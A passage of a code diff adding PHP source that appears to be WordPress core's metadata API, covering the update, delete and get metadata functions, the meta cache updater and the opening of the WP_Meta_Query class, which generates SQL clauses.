+	if ( empty( $meta_ids ) ) {
+		return add_metadata($meta_type, $object_id, $meta_key, $passed_value);
+	}
+
+	$_meta_value = $meta_value;
+	$meta_value = maybe_serialize( $meta_value );
+
+	$data  = compact( 'meta_value' );
+	$where = array( $column => $object_id, 'meta_key' => $meta_key );
+
+	if ( !empty( $prev_value ) ) {
+		$prev_value = maybe_serialize($prev_value);
+		$where['meta_value'] = $prev_value;
+	}
+
+	foreach ( $meta_ids as $meta_id ) {
+		/**
+		 * Fires immediately before updating metadata of a specific type.
+		 *
+		 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+		 * object type (comment, post, or user).
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int    $meta_id    ID of the metadata entry to update.
+		 * @param int    $object_id  Object ID.
+		 * @param string $meta_key   Meta key.
+		 * @param mixed  $meta_value Meta value.
+		 */
+		do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
+	}
+
+	if ( 'post' == $meta_type ) {
+		foreach ( $meta_ids as $meta_id ) {
+			/**
+			 * Fires immediately before updating a post's metadata.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param int    $meta_id    ID of metadata entry to update.
+			 * @param int    $object_id  Object ID.
+			 * @param string $meta_key   Meta key.
+			 * @param mixed  $meta_value Meta value.
+			 */
+			do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
+		}
+	}
+
+	$result = $wpdb->update( $table, $data, $where );
+	if ( ! $result )
+		return false;
+
+	wp_cache_delete($object_id, $meta_type . '_meta');
+
+	foreach ( $meta_ids as $meta_id ) {
+		/**
+		 * Fires immediately after updating metadata of a specific type.
+		 *
+		 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+		 * object type (comment, post, or user).
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int    $meta_id    ID of updated metadata entry.
+		 * @param int    $object_id  Object ID.
+		 * @param string $meta_key   Meta key.
+		 * @param mixed  $meta_value Meta value.
+		 */
+		do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
+	}
+
+	if ( 'post' == $meta_type ) {
+		foreach ( $meta_ids as $meta_id ) {
+			/**
+			 * Fires immediately after updating a post's metadata.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param int    $meta_id    ID of updated metadata entry.
+			 * @param int    $object_id  Object ID.
+			 * @param string $meta_key   Meta key.
+			 * @param mixed  $meta_value Meta value.
+			 */
+			do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
+		}
+	}
+
+	return true;
+}
+
+/**
+ * Delete metadata for the specified object.
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user)
+ * @param int $object_id ID of the object metadata is for
+ * @param string $meta_key Metadata key
+ * @param mixed $meta_value Optional. Metadata value. Must be serializable if non-scalar. If specified, only delete metadata entries
+ * 		with this value. Otherwise, delete all entries with the specified meta_key.
+ * @param bool $delete_all Optional, default is false. If true, delete matching metadata entries
+ * 		for all objects, ignoring the specified object_id. Otherwise, only delete matching
+ * 		metadata entries for the specified object_id.
+ * @return bool True on successful delete, false on failure.
+ */
+function delete_metadata($meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false) {
+	global $wpdb;
+
+	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) && ! $delete_all ) {
+		return false;
+	}
+
+	$object_id = absint( $object_id );
+	if ( ! $object_id && ! $delete_all ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	$type_column = sanitize_key($meta_type . '_id');
+	$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
+	// expected_slashed ($meta_key)
+	$meta_key = wp_unslash($meta_key);
+	$meta_value = wp_unslash($meta_value);
+
+	/**
+	 * Filter whether to delete metadata of a specific type.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, or user). Returning a non-null value
+	 * will effectively short-circuit the function.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param null|bool $delete     Whether to allow metadata deletion of the given type.
+	 * @param int       $object_id  Object ID.
+	 * @param string    $meta_key   Meta key.
+	 * @param mixed     $meta_value Meta value. Must be serializable if non-scalar.
+	 * @param bool      $delete_all Whether to delete the matching metadata entries
+	 *                              for all objects, ignoring the specified $object_id.
+	 *                              Default false.
+	 */
+	$check = apply_filters( "delete_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $delete_all );
+	if ( null !== $check )
+		return (bool) $check;
+
+	$_meta_value = $meta_value;
+	$meta_value = maybe_serialize( $meta_value );
+
+	$query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key );
+
+	if ( !$delete_all )
+		$query .= $wpdb->prepare(" AND $type_column = %d", $object_id );
+
+	if ( $meta_value )
+		$query .= $wpdb->prepare(" AND meta_value = %s", $meta_value );
+
+	$meta_ids = $wpdb->get_col( $query );
+	if ( !count( $meta_ids ) )
+		return false;
+
+	if ( $delete_all )
+		$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s", $meta_key ) );
+
+	/**
+	 * Fires immediately before deleting metadata of a specific type.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, or user).
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array  $meta_ids   An array of metadata entry IDs to delete.
+	 * @param int    $object_id  Object ID.
+	 * @param string $meta_key   Meta key.
+	 * @param mixed  $meta_value Meta value.
+	 */
+	do_action( "delete_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );
+
+	// Old-style action.
+	if ( 'post' == $meta_type ) {
+		/**
+		 * Fires immediately before deleting metadata for a post.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array $meta_ids An array of post metadata entry IDs to delete.
+		 */
+		do_action( 'delete_postmeta', $meta_ids );
+	}
+
+	$query = "DELETE FROM $table WHERE $id_column IN( " . implode( ',', $meta_ids ) . " )";
+
+	$count = $wpdb->query($query);
+
+	if ( !$count )
+		return false;
+
+	if ( $delete_all ) {
+		foreach ( (array) $object_ids as $o_id ) {
+			wp_cache_delete($o_id, $meta_type . '_meta');
+		}
+	} else {
+		wp_cache_delete($object_id, $meta_type . '_meta');
+	}
+
+	/**
+	 * Fires immediately after deleting metadata of a specific type.
+	 *
+	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta
+	 * object type (comment, post, or user).
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param array  $meta_ids   An array of deleted metadata entry IDs.
+	 * @param int    $object_id  Object ID.
+	 * @param string $meta_key   Meta key.
+	 * @param mixed  $meta_value Meta value.
+	 */
+	do_action( "deleted_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );
+
+	// Old-style action.
+	if ( 'post' == $meta_type ) {
+		/**
+		 * Fires immediately after deleting metadata for a post.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array $meta_ids An array of deleted post metadata entry IDs.
+		 */
+		do_action( 'deleted_postmeta', $meta_ids );
+	}
+
+	return true;
+}
+
+/**
+ * Retrieve metadata for the specified object.
+ *
+ * @since 2.9.0
+ *
+ * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user)
+ * @param int $object_id ID of the object metadata is for
+ * @param string $meta_key Optional. Metadata key. If not specified, retrieve all metadata for
+ * 		the specified object.
+ * @param bool $single Optional, default is false. If true, return only the first value of the
+ * 		specified meta_key. This parameter has no effect if meta_key is not specified.
+ * @return string|array Single metadata value, or array of values
+ */
+function get_metadata($meta_type, $object_id, $meta_key = '', $single = false) {
+	if ( ! $meta_type || ! is_numeric( $object_id ) ) {
+		return false;
+	}
+
+	$object_id = absint( $object_id );
+	if ( ! $object_id ) {
+		return false;
+	}
+
+	/**
+	 * Filter whether to retrieve metadata of a specific type.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, or user). Returning a non-null value
+	 * will effectively short-circuit the function.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param null|array|string $value     The value get_metadata() should
+	 *                                     return - a single metadata value,
+	 *                                     or an array of values.
+	 * @param int               $object_id Object ID.
+	 * @param string            $meta_key  Meta key.
+	 * @param string|array      $single    Meta value, or an array of values.
+	 */
+	$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, $single );
+	if ( null !== $check ) {
+		if ( $single && is_array( $check ) )
+			return $check[0];
+		else
+			return $check;
+	}
+
+	$meta_cache = wp_cache_get($object_id, $meta_type . '_meta');
+
+	if ( !$meta_cache ) {
+		$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
+		$meta_cache = $meta_cache[$object_id];
+	}
+
+	if ( ! $meta_key ) {
+		return $meta_cache;
+	}
+
+	if ( isset($meta_cache[$meta_key]) ) {
+		if ( $single )
+			return maybe_unserialize( $meta_cache[$meta_key][0] );
+		else
+			return array_map('maybe_unserialize', $meta_cache[$meta_key]);
+	}
+
+	if ($single)
+		return '';
+	else
+		return array();
+}
+
+/**
+ * Determine if a meta key is set for a given object
+ *
+ * @since 3.3.0
+ *
+ * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user)
+ * @param int $object_id ID of the object metadata is for
+ * @param string $meta_key Metadata key.
+ * @return boolean true of the key is set, false if not.
+ */
+function metadata_exists( $meta_type, $object_id, $meta_key ) {
+	if ( ! $meta_type || ! is_numeric( $object_id ) ) {
+		return false;
+	}
+
+	$object_id = absint( $object_id );
+	if ( ! $object_id ) {
+		return false;
+	}
+
+	/** This filter is documented in wp-includes/meta.php */
+	$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, true );
+	if ( null !== $check )
+		return (bool) $check;
+
+	$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );
+
+	if ( !$meta_cache ) {
+		$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
+		$meta_cache = $meta_cache[$object_id];
+	}
+
+	if ( isset( $meta_cache[ $meta_key ] ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Get meta data by meta ID
+ *
+ * @since 3.3.0
+ *
+ * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user)
+ * @param int $meta_id ID for a specific meta row
+ * @return object Meta object or false.
+ */
+function get_metadata_by_mid( $meta_type, $meta_id ) {
+	global $wpdb;
+
+	if ( ! $meta_type || ! is_numeric( $meta_id ) ) {
+		return false;
+	}
+
+	$meta_id = absint( $meta_id );
+	if ( ! $meta_id ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	$id_column = ( 'user' == $meta_type ) ? 'umeta_id' : 'meta_id';
+
+	$meta = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table WHERE $id_column = %d", $meta_id ) );
+
+	if ( empty( $meta ) )
+		return false;
+
+	if ( isset( $meta->meta_value ) )
+		$meta->meta_value = maybe_unserialize( $meta->meta_value );
+
+	return $meta;
+}
+
+/**
+ * Update meta data by meta ID
+ *
+ * @since 3.3.0
+ *
+ * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user)
+ * @param int $meta_id ID for a specific meta row
+ * @param string $meta_value Metadata value
+ * @param string $meta_key Optional, you can provide a meta key to update it
+ * @return bool True on successful update, false on failure.
+ */
+function update_metadata_by_mid( $meta_type, $meta_id, $meta_value, $meta_key = false ) {
+	global $wpdb;
+
+	// Make sure everything is valid.
+	if ( ! $meta_type || ! is_numeric( $meta_id ) ) {
+		return false;
+	}
+
+	$meta_id = absint( $meta_id );
+	if ( ! $meta_id ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	$column = sanitize_key($meta_type . '_id');
+	$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
+
+	// Fetch the meta and go on if it's found.
+	if ( $meta = get_metadata_by_mid( $meta_type, $meta_id ) ) {
+		$original_key = $meta->meta_key;
+		$object_id = $meta->{$column};
+
+		// If a new meta_key (last parameter) was specified, change the meta key,
+		// otherwise use the original key in the update statement.
+		if ( false === $meta_key ) {
+			$meta_key = $original_key;
+		} elseif ( ! is_string( $meta_key ) ) {
+			return false;
+		}
+
+		// Sanitize the meta
+		$_meta_value = $meta_value;
+		$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type );
+		$meta_value = maybe_serialize( $meta_value );
+
+		// Format the data query arguments.
+		$data = array(
+			'meta_key' => $meta_key,
+			'meta_value' => $meta_value
+		);
+
+		// Format the where query arguments.
+		$where = array();
+		$where[$id_column] = $meta_id;
+
+		/** This action is documented in wp-includes/meta.php */
+		do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
+
+		if ( 'post' == $meta_type ) {
+			/** This action is documented in wp-includes/meta.php */
+			do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
+		}
+
+		// Run the update query, all fields in $data are %s, $where is a %d.
+		$result = $wpdb->update( $table, $data, $where, '%s', '%d' );
+		if ( ! $result )
+			return false;
+
+		// Clear the caches.
+		wp_cache_delete($object_id, $meta_type . '_meta');
+
+		/** This action is documented in wp-includes/meta.php */
+		do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
+
+		if ( 'post' == $meta_type ) {
+			/** This action is documented in wp-includes/meta.php */
+			do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
+		}
+
+		return true;
+	}
+
+	// And if the meta was not found.
+	return false;
+}
+
+/**
+ * Delete meta data by meta ID
+ *
+ * @since 3.3.0
+ *
+ * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user)
+ * @param int $meta_id ID for a specific meta row
+ * @return bool True on successful delete, false on failure.
+ */
+function delete_metadata_by_mid( $meta_type, $meta_id ) {
+	global $wpdb;
+
+	// Make sure everything is valid.
+	if ( ! $meta_type || ! is_numeric( $meta_id ) ) {
+		return false;
+	}
+
+	$meta_id = absint( $meta_id );
+	if ( ! $meta_id ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	// object and id columns
+	$column = sanitize_key($meta_type . '_id');
+	$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
+
+	// Fetch the meta and go on if it's found.
+	if ( $meta = get_metadata_by_mid( $meta_type, $meta_id ) ) {
+		$object_id = $meta->{$column};
+
+		/** This action is documented in wp-includes/meta.php */
+		do_action( "delete_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );
+
+		// Old-style action.
+		if ( 'post' == $meta_type || 'comment' == $meta_type ) {
+			/**
+			 * Fires immediately before deleting post or comment metadata of a specific type.
+			 *
+			 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+			 * object type (post or comment).
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param int $meta_id ID of the metadata entry to delete.
+			 */
+			do_action( "delete_{$meta_type}meta", $meta_id );
+		}
+
+		// Run the query, will return true if deleted, false otherwise
+		$result = (bool) $wpdb->delete( $table, array( $id_column => $meta_id ) );
+
+		// Clear the caches.
+		wp_cache_delete($object_id, $meta_type . '_meta');
+
+		/** This action is documented in wp-includes/meta.php */
+		do_action( "deleted_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );
+
+		// Old-style action.
+		if ( 'post' == $meta_type || 'comment' == $meta_type ) {
+			/**
+			 * Fires immediately after deleting post or comment metadata of a specific type.
+			 *
+			 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+			 * object type (post or comment).
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param int $meta_ids Deleted metadata entry ID.
+			 */
+			do_action( "deleted_{$meta_type}meta", $meta_id );
+		}
+
+		return $result;
+
+	}
+
+	// Meta id was not found.
+	return false;
+}
+
+/**
+ * Update the metadata cache for the specified objects.
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user)
+ * @param int|array $object_ids array or comma delimited list of object IDs to update cache for
+ * @return mixed Metadata cache for the specified objects, or false on failure.
+ */
+function update_meta_cache($meta_type, $object_ids) {
+	global $wpdb;
+
+	if ( ! $meta_type || ! $object_ids ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	$column = sanitize_key($meta_type . '_id');
+
+	if ( !is_array($object_ids) ) {
+		$object_ids = preg_replace('|[^0-9,]|', '', $object_ids);
+		$object_ids = explode(',', $object_ids);
+	}
+
+	$object_ids = array_map('intval', $object_ids);
+
+	$cache_key = $meta_type . '_meta';
+	$ids = array();
+	$cache = array();
+	foreach ( $object_ids as $id ) {
+		$cached_object = wp_cache_get( $id, $cache_key );
+		if ( false === $cached_object )
+			$ids[] = $id;
+		else
+			$cache[$id] = $cached_object;
+	}
+
+	if ( empty( $ids ) )
+		return $cache;
+
+	// Get meta info
+	$id_list = join( ',', $ids );
+	$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
+	$meta_list = $wpdb->get_results( "SELECT $column, meta_key, meta_value FROM $table WHERE $column IN ($id_list) ORDER BY $id_column ASC", ARRAY_A );
+
+	if ( !empty($meta_list) ) {
+		foreach ( $meta_list as $metarow) {
+			$mpid = intval($metarow[$column]);
+			$mkey = $metarow['meta_key'];
+			$mval = $metarow['meta_value'];
+
+			// Force subkeys to be array type:
+			if ( !isset($cache[$mpid]) || !is_array($cache[$mpid]) )
+				$cache[$mpid] = array();
+			if ( !isset($cache[$mpid][$mkey]) || !is_array($cache[$mpid][$mkey]) )
+				$cache[$mpid][$mkey] = array();
+
+			// Add a value to the current pid/key:
+			$cache[$mpid][$mkey][] = $mval;
+		}
+	}
+
+	foreach ( $ids as $id ) {
+		if ( ! isset($cache[$id]) )
+			$cache[$id] = array();
+		wp_cache_add( $id, $cache[$id], $cache_key );
+	}
+
+	return $cache;
+}
+
+/**
+ * Given a meta query, generates SQL clauses to be appended to a main query.
+ *
+ * @since 3.2.0
+ *
+ * @see WP_Meta_Query
+ *
+ * @param array $meta_query         A meta query.
+ * @param string $type              Type of meta.
+ * @param string $primary_table     Primary database table name.
+ * @param string $primary_id_column Primary ID column name.
+ * @param object $context           Optional. The main query object
+ * @return array Associative array of `JOIN` and `WHERE` SQL.
+ */
+function get_meta_sql( $meta_query, $type, $primary_table, $primary_id_column, $context = null ) {
+	$meta_query_obj = new WP_Meta_Query( $meta_query );
+	return $meta_query_obj->get_sql( $type, $primary_table, $primary_id_column, $context );
+}
+
+/**
+ * Class for generating SQL clauses that filter a primary query according to metadata keys and values.
+ *
+ * `WP_Meta_Query` is a helper that allows primary query classes, such as {@see WP_Query} and {@see WP_User_Query},
+ * to filter their results by object metadata, by generating `JOIN` and `WHERE` subclauses to be attached
+ * to the primary SQL query string.
+ *
+ * @since 3.2.0
+ */
+class WP_Meta_Query {
+	/**
+	 * Array of metadata queries.
+	 *
+	 * See {@see WP_Meta_Query::__construct()} for information on meta query arguments.
+	 *
+	 * @since 3.2.0
+	 * @access public
+	 * @var array
+	 */
+	public $queries = array();
+
+	/**
+	 * The relation between the queries. Can be one of 'AND' or 'OR'.
+	 *
+	 * @since 3.2.0
+	 * @access public
+	 * @var string
+	 */
+	public $relation;
+
+	/**
+	 * Database table to query for the metadata.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var string
+	 */
+	public $meta_table;
+
+	/**
+	 * Column in meta_table that represents the ID of the object the metadata belongs to.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var string
+	 */
+	public $meta_id_column;
+
+	/**
+	 * Database table that where the metadata's objects are stored (eg $wpdb->users).
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var string
+	 */
+	public $primary_table;
+
+	/**
+	 * Column in primary_table that represents the ID of the object.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var string
+	 */
+	public $primary_id_column;
+
+	/**
+	 * A flat list of table aliases used in JOIN clauses.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 * @var array
+	 */
+	protected $table_aliases = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.2.0
+	 * @access public
+	 *
+	 * @param array $meta_query {
+	 *     Array of meta query clauses.
+	 *
+	 *     @type string $relation Optional. The MySQL keyword used to join
+	 *                            the clauses of the query. Accepts 'AND', or 'OR'. Default 'AND'.
+	 *     @type array {
+	 *         Optional. An array of first-order clause parameters, or another fully-formed meta query.
+	 *
+	 *         @type string $key     Meta key to filter by.
+	 *         @type string $value   Meta value to filter by.
+	 *         @type string $compare MySQL operator used for comparing the $value. Accepts '=',
+	 *                               '!=', '>', '>=', '<', '<=', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN',
+	 *                               'BETWEEN', 'NOT BETWEEN', 'REGEXP', 'NOT REGEXP', or 'RLIKE'.
+	 *                               Default is 'IN' when `$value` is an array, '=' otherwise.
+	 *         @type string $type    MySQL data type that the meta_value column will be CAST to for
+	 *                               comparisons. Accepts 'NUMERIC', 'BINARY', 'CHAR', 'DATE',
+	 *                               'DATETIME', 'DECIMAL', 'SIGNED', 'TIME', or 'UNSIGNED'.
+	 *                               Default is 'CHAR'.
+	 *     }
+	 * }
+	 */
+	public function __construct( $meta_query = false ) {
+		if ( !$meta_query )
+			return;
+
+		if ( isset( $meta_query['relation'] ) && strtoupper( $meta_query['relation'] ) == 'OR' ) {
+			$this->relation = 'OR';
+		} else {
+			$this->relation = 'AND';
+		}
+
+		$this->queries = $this->sanitize_query( $meta_query );
+	}
+
+	/**
+	 * Ensure the 'meta_query' argument passed to the class constructor is well-formed.
+	 *
+	 * Eliminates empty items and ensures that a 'relation' is set.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @param array $queries Array of query clauses.
+	 * @return array Sanitized array of query clauses.
+	 */
+	public function sanitize_query( $queries ) {
+		$clean_queries = array();
+
+		if ( ! is_array( $queries ) ) {
+			return $clean_queries;
+		}
+
+		foreach ( $queries as $key => $query ) {
+			if ( 'relation' === $key ) {
+				$relation = $query;
+
+			} else if ( ! is_array( $query ) ) {
+				continue;
+
+			// First-order clause.
+			} else if ( $this->is_first_order_clause( $query ) ) {
+				if ( isset( $query['value'] ) && array() === $query['value'] ) {
+					unset( $query['value'] );
+				}
+
+				$clean_queries[] = $query;
+
+			// Otherwise, it's a nested query, so we recurse.
+			} else {
+				$cleaned_query = $this->sanitize_query( $query );
+
+				if ( ! empty( $cleaned_query ) ) {
+					$clean_queries[] = $cleaned_query;
+				}
+			}
+		}
+
+		if ( empty( $clean_queries ) ) {
+			return $clean_queries;
+		}
+
+		// Sanitize the 'relation' key provided in the query.
+		if ( isset( $relation ) && 'OR' === strtoupper( $relation ) ) {
+			$clean_queries['relation'] = 'OR';
+
+		/*
+		 * If there is only a single clause, call the relation 'OR'.
+		 * This value will not actually be used to join clauses, but it
+		 * simplifies the logic around combining key-only queries.
+		 */
+		} else if ( 1 === count( $clean_queries ) ) {
+			$clean_queries['relation'] = 'OR';
+
+		// Default to AND.
+		} else {
+			$clean_queries['relation'] = 'AND';
+		}
+
+		return $clean_queries;
+	}
+
+	/**
+	 * Determine whether a query clause is first-order.
+	 *
+	 * A first-order meta query clause is one that has either a 'key' or
+	 * a 'value' array key.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 *
+	 * @param array $query Meta query arguments.
+	 * @return bool Whether the query clause is a first-order clause.
+	 */
+	protected function is_first_order_clause( $query ) {
+		return isset( $query['key'] ) || isset( $query['value'] );
+	}
+
+	/**
+	 * Constructs a meta query based on 'meta_*' query vars
+	 *
+	 * @since 3.2.0
+	 * @access public
+	 *
+	 * @param array $qv The query variables
+	 */
+	public function parse_query_vars( $qv ) {
+		$meta_query = array();
+
+		/*
+		 * For orderby=meta_value to work correctly, simple query needs to be
+		 * first (so that its table join is against an unaliased meta table) and
+		 * needs to be its own clause (so it doesn't interfere with the logic of
+		 * the rest of the meta_query).
+		 */
+		$primary_meta_query = array();
+		foreach ( array( 'key', 'compare', 'type' ) as $key ) {
+			if ( ! empty( $qv[ "meta_$key" ] ) ) {
+				$primary_meta_query[ $key ] = $qv[ "meta_$key" ];
+			}
+		}
+
+		// WP_Query sets 'meta_value' = '' by default.
+		if ( isset( $qv['meta_value'] ) && '' !== $qv['meta_value'] && ( ! is_array( $qv['meta_value'] ) || $qv['meta_value'] ) ) {
+			$primary_meta_query['value'] = $qv['meta_value'];
+		}
+
+		$existing_meta_query = isset( $qv['meta_query'] ) && is_array( $qv['meta_query'] ) ? $qv['meta_query'] : array();
+
+		if ( ! empty( $primary_meta_query ) && ! empty( $existing_meta_query ) ) {
+			$meta_query = array(
+				'relation' => 'AND',
+				$primary_meta_query,
+				$existing_meta_query,
+			);
+		} else if ( ! empty( $primary_meta_query ) ) {
+			$meta_query = array(
+				$primary_meta_query,
+			);
+		} else if ( ! empty( $existing_meta_query ) ) {
+			$meta_query = $existing_meta_query;
+		}
+
+		$this->__construct( $meta_query );
+	}
+
+	/**
+	 * Return the appropriate alias for the given meta type if applicable.
+	 *
+	 * @since 3.7.0
+	 * @access public
+	 *
+	 * @param string $type MySQL type to cast meta_value.
+	 * @return string MySQL type.
+	 */
+	public function get_cast_for_type( $type = '' ) {
+		if ( empty( $type ) )
+			return 'CHAR';
+
+		$meta_type = strtoupper( $type );
+
+		if ( ! preg_match( '/^(?:BINARY|CHAR|DATE|DATETIME|SIGNED|UNSIGNED|TIME|NUMERIC(?:\(\d+(?:,\s?\d+)?\))?|DECIMAL(?:\(\d+(?:,\s?\d+)?\))?)$/', $meta_type ) )
+			return 'CHAR';
+
+		if ( 'NUMERIC' == $meta_type )
+			$meta_type = 'SIGNED';
+
+		return $meta_type;
+	}
+
+	/**
+	 * Generates SQL clauses to be appended to a main query.
+	 *
+	 * @since 3.2.0
+	 * @access public
+	 *
+	 * @param string $type              Type of meta, eg 'user', 'post'.
+	 * @param string $primary_table     Database table where the object being filtered is stored (eg wp_users).
+	 * @param string $primary_id_column ID column for the filtered object in $primary_table.
+	 * @param object $context           Optional. The main query object.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	public function get_sql( $type, $primary_table, $primary_id_column, $context = null ) {
+		global $wpdb;
+
+		if ( ! $meta_table = _get_meta_table( $type ) ) {
+			return false;
+		}
+
+		$this->meta_table     = $meta_table;
+		$this->meta_id_column = sanitize_key( $type . '_id' );
+
+		$this->primary_table     = $primary_table;
+		$this->primary_id_column = $primary_id_column;
+
+		$sql = $this->get_sql_clauses();
+
+		/*
+		 * If any JOINs are LEFT JOINs (as in the case of NOT EXISTS), then all JOINs should
+		 * be LEFT. Otherwise posts with no metadata will be excluded from results.
+		 */
+		if ( false !== strpos( $sql['join'], 'LEFT JOIN' ) ) {
+			$sql['join'] = str_replace( 'INNER JOIN', 'LEFT JOIN', $sql['join'] );
+		}
+
+		/**
+		 * Filter the meta query's generated SQL.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array $args {
+		 *     An array of meta query SQL arguments.
+		 *
+		 *     @type array  $clauses           Array containing the query's JOIN and WHERE clauses.
+		 *     @type array  $queries           Array of meta queries.
+		 *     @type string $type              Type of meta.
+		 *     @type string $primary_table     Primary table.
+		 *     @type string $primary_id_column Primary column ID.
+		 *     @type object $context           The main query object.
+		 * }
+		 */
+		return apply_filters_ref_array( 'get_meta_sql', array( $sql, $this->queries, $type, $primary_table, $primary_id_column, $context ) );
+	}
+
+	/**
+	 * Generate SQL clauses to be appended to a main query.
+	 *
+	 * Called by the public {@see WP_Meta_Query::get_sql()}, this method
+	 * is abstracted out to maintain parity with the other Query classes.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 *
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_clauses() {
+		/*
+		 * $queries are passed by reference to get_sql_for_query() for recursion.
+		 * To keep $this->queries unaltered, pass a copy.
+		 */
+		$queries = $this->queries;
+		$sql = $this->get_sql_for_query( $queries );
+
+		if ( ! empty( $sql['where'] ) ) {
+			$sql['where'] = ' AND ' . $sql['where'];
+		}
+
+		return $sql;
+	}
+
+	/**
+	 * Generate SQL clauses for a single query array.
+	 *
+	 * If nested subqueries are found, this method recurses the tree to
+	 * produce the properly nested SQL.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 *
+	 * @param array $query Query to parse, passed by reference.
+	 * @param int   $depth Optional. Number of tree levels deep we currently are.
+	 *                     Used to calculate indentation. Default 0.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to a single query array.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_for_query( &$query, $depth = 0 ) {
+		$sql_chunks = array(
+			'join'  => array(),
+			'where' => array(),
+		);
+
+		$sql = array(
+			'join'  => '',
+			'where' => '',
+		);
+
+		$indent = '';
+		for ( $i = 0; $i < $depth; $i++ ) {
+			$indent .= "  ";
+		}
+
+		foreach ( $query as $key => &$clause ) {
+			if ( 'relation' === $key ) {
+				$relation = $query['relation'];
+			} else if ( is_array( $clause ) ) {
+
+				// This is a first-order clause.
